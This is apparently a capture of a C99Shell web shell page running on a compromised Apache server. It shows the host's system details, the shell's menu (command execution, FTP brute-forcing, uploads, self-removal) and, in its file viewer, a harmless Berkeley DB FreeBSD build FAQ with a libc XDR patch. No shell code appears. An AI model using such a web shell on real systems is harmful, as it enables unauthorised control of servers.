!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/share/doc/db4-devel-4.3.27/ref/build_unix/   drwxr-xr-x
Free 3.57 GB of 27.03 GB (13.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     freebsd.html (3.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Berkeley DB Reference Guide: FreeBSD

Berkeley DB Reference Guide:
Building Berkeley DB for UNIX/POSIX systems

PrevRefNext

FreeBSD

  1. I can't compile and run multithreaded applications.

    Special compile-time flags are required when compiling threaded applications on FreeBSD. If you are compiling a threaded application, you must compile with the _THREAD_SAFE and -pthread flags:

    cc -D_THREAD_SAFE -pthread ...

    The Berkeley DB library will automatically build with the correct options.


  2. I get occasional failures when running RPC-based programs under FreeBSD clients.

    There is a known bug in the XDR implementation in the FreeBSD C library from version 2.2 up to version 4.0-RELEASE, that causes certain-sized messages to fail and return a zero-filled reply to the client. A bug report (#16028) has been filed with FreeBSD. The following patch is the FreeBSD fix:

    *** /usr/src/lib/libc/xdr/xdr_rec.c.orig	Mon Jan 10 10:20:42 2000
    --- /usr/src/lib/libc/xdr/xdr_rec.c	Wed Jan 19 10:53:45 2000
    ***************
    *** 558,564 ****
      	 * but we don't have any way to be certain that they aren't
      	 * what the client actually intended to send us.
      	 */
    ! 	if ((header & (~LAST_FRAG)) == 0)
      		return(FALSE);
      	rstrm->fbtbc = header & (~LAST_FRAG);
      	return (TRUE);
    --- 558,564 ----
      	 * but we don't have any way to be certain that they aren't
      	 * what the client actually intended to send us.
      	 */
    ! 	if (header == 0)
      		return(FALSE);
      	rstrm->fbtbc = header & (~LAST_FRAG);
      	return (TRUE);
    

  3. I see fsync and close system call failures when accessing databases or log files on NFS-mounted filesystems.

    Some FreeBSD releases are known to return ENOLCK from fsync and close calls on NFS-mounted filesystems, even though the call has succeeded. The Berkeley DB code should be modified to ignore ENOLCK errors, or no Berkeley DB files should be placed on NFS-mounted filesystems on these systems.


PrevRefNext

Copyright (c) 1996-2004 Sleepycat Software, Inc. - All rights reserved.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0032 ]--